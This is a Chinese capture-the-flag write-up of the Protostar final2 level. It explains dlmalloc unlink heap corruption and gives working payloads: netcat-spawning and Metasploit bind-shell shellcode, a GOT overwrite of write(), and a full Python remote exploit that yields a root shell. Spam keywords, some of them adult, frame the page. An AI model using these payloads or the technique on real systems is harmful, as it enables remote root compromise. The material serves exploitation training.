91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Protostar final2

發布時間:2020-09-27 23:04:02 來源:網絡 閱讀:453 作者:terrying 欄目:安全技術

Core files will be in /tmp.<div Droid Sans', sans-serif; font-size: 14px; line-height: 20px; background-color: rgb(18, 20, 23);">This level is at /opt/protostar/bin/final2<h3 Droid Sans', sans-serif; font-weight: normal; line-height: 40px; color: rgb(255, 255, 255); text-rendering: optimizelegibility; font-size: 31.5px; background-color: rgb(18, 20, 23);">Source code

#include "../common/common.c"
#include "../common/malloc.c"

#define NAME "final2"
#define UID 0
#define GID 0
#define PORT 2993

#define REQSZ 128

void check_path(char *buf)
{
char *start;
char *p;
int l;

/*
* Work out old software bug
*/

p = rindex(buf, '/');
l = strlen(p);
if(p) {
start = strstr(buf, "ROOT");
if(start) {
while(*start != '/') start--;
memmove(start, p, l);
printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
"yes" : "no", start - buf);
}
}
}

int get_requests(int fd)
{
char *buf;
char *destroylist[256];
int dll;
int i;

dll = 0;
while(1) {
if(dll >= 255) break;

buf = calloc(REQSZ, 1);
if(read(fd, buf, REQSZ) != REQSZ) break;

if(strncmp(buf, "FSRD", 4) != 0) break;

check_path(buf + 4);

dll++;
}

for(i = 0; i < dll; i++) {
write(fd, "Process OK\n", strlen("Process OK\n"));
free(destroylist[i]);
}
}

int main(int argc, char **argv, char **envp)
{
int fd;
char *username;

/* Run the process as a daemon */
background_process(NAME, UID, GID);

/* Wait for socket activity and return */
fd = serve_forever(PORT);

/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);

get_requests(fd);

}

Final2花了我不少時間,因為之前沒有接觸過“堆腐爛”這么高深的技術,最后找了本《緩沖區溢出***——檢測、剖析與預防》補習才勉強知道dlmalloc是個什么貨色。現簡單講下基本的東東:
在內存中堆的位置如下圖:Protostar final2
堆內存可通過malloc()類函數分配,由free()類函數釋放,程序的堆內存是由堆管理器分配的。由malloc()分配的內存塊是有邊界標識(Boundary tag)的。這些位置包含的信息是內存中這個塊之前和之后放被放置的兩個數據塊的大小
Protostar final2
當使用free()釋放數據塊時會調用unlink()宏:
Protostar final2
實際上執行的操作就是:
*(P->fd+12)=P->bk;
*(P->bk+8)=P->fd
數據塊后部指針中的地址可以被寫到前部指針加12所指向的位置。如果***者可以覆蓋這兩個指針并調用unlink()的話,那么就能用任何東西覆蓋內存的任何位置!!!

啰嗦了一大堆現開始進入正題。
通過分析題目可得在查找“/”時沒有進行邊界檢查,而且從p開始的空余部分被復制到新的位置,另外程序規定處理每個字符串長度是128字節。我們需要利用這些來偽造出一個數據塊
user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ 'A'*103 + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff'+'B'*4+'C'*4" | nc 127.0.0.1 2993
通過查看調試文件可以得到:
(gdb) i r edx
edx 0x43434343 1128481603
(gdb) i r eax
eax 0x42424242 1111638594
有點像heap3是不?
再看看“A"的位置在哪里:
(gdb) x/50x 0x0804e090
0x804e090: 0x0804d410 0x0804e098 0x41414141 0x41414141
0x804e0a0: 0x0804d410 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x2f414141

這里我們選擇覆蓋write()的地址,write()的地址是:
user@protostar:/opt/protostar/bin$ objdump -R ./final2 | grep write
0804d41c R_386_JUMP_SLOT write
0804d468 R_386_JUMP_SLOT fwrite

現需要將A的內容變成shellcode,將A的地址覆蓋到write()的位置上去,然后就能夠執行shellcode了。
因此生成的payload應該是這樣的
[FSRD+'A'*123+/]+[FSRD+ROOT+NOP+shellcode+<span Helvetica Neue Light', HelveticaNeue-Light, 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px;">'\x10\xd4\x04\x08' + '\x98\xe0\x04\x08']
如下:
user@protostar:/opt/protostar/bin$ python -c "print 'FSRD'+'A'*123+'/' + 'FSRD'+'ROOT'+ '\x90'*44 + '\x31\xc0\x50\x68\x6e\x2f\x6e\x63\x68\x2f\x2f\x62\x69\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31\xd2\xcd\x80' + '/' + '\xf8\xff\xff\xff'+'\xfc\xff\xff\xff' + '\x10\xd4\x04\x08'+'\x98\xe0\x04\x08'" | nc 127.0.0.1 2993
Process OK
遠程連接測試:
D:\>nc 192.168.0.71 6666
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
OK!
同樣,寫一份遠程EXP,Python腳本如下:
#!/usr/bin/env python

from socket import *
from struct import *
from optparse import OptionParser

def exploit(host, port):

# linux/x86/shell_bind_tcp - 78 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependChrootBreak=false, AppendExit=false,
# InitialAutoRunScript=, AutoRunScript=
shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"

# Open the connection
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))

req_size = 128
HDR = 'FSRD'
NOP = '\x90'
free_payload = '/' + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff'
free_payload += '\x10\xd4\x04\x08' + '\x98\xe0\x04\x08'

first_req = HDR + 'A'* (req_size - len(HDR) - 1) + '/'
second_req = HDR + 'ROOT'
second_req += NOP * (req_size - len(HDR) - 4 - len(shellcode) - len(free_payload))
second_req += shellcode
second_req += free_payload

s.send(first_req+second_req)

s.close

print("[*] Exploit successfull! Now launch: nc " + str(host) + " 4444")

if __name__ == "__main__":
parser = OptionParser("usage: %prog [options]")
parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1", type="string", help="Target to exploit")
parser.add_option("-p", "--port", dest="portnum", default=2993, type="int", help="Target port")

(options, args) = parser.parse_args()

exploit(options.hostname, options.portnum)



向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

长沙市| 册亨县| 比如县| 宁国市| 偏关县| 尖扎县| 上蔡县| 木兰县| 靖西县| 扬中市| 微博| 博爱县| 青田县| 乐都县| 十堰市| 黎平县| 石景山区| 仙桃市| 来宾市| 无极县| 诸城市| 新宾| 阿坝| 万全县| 神木县| 从江县| 饶平县| 定陶县| 二连浩特市| 平昌县| 驻马店市| 宜兴市| 北辰区| 天峨县| 平陆县| 于田县| 利川市| 沙河市| 高唐县| 都兰县| 三门县|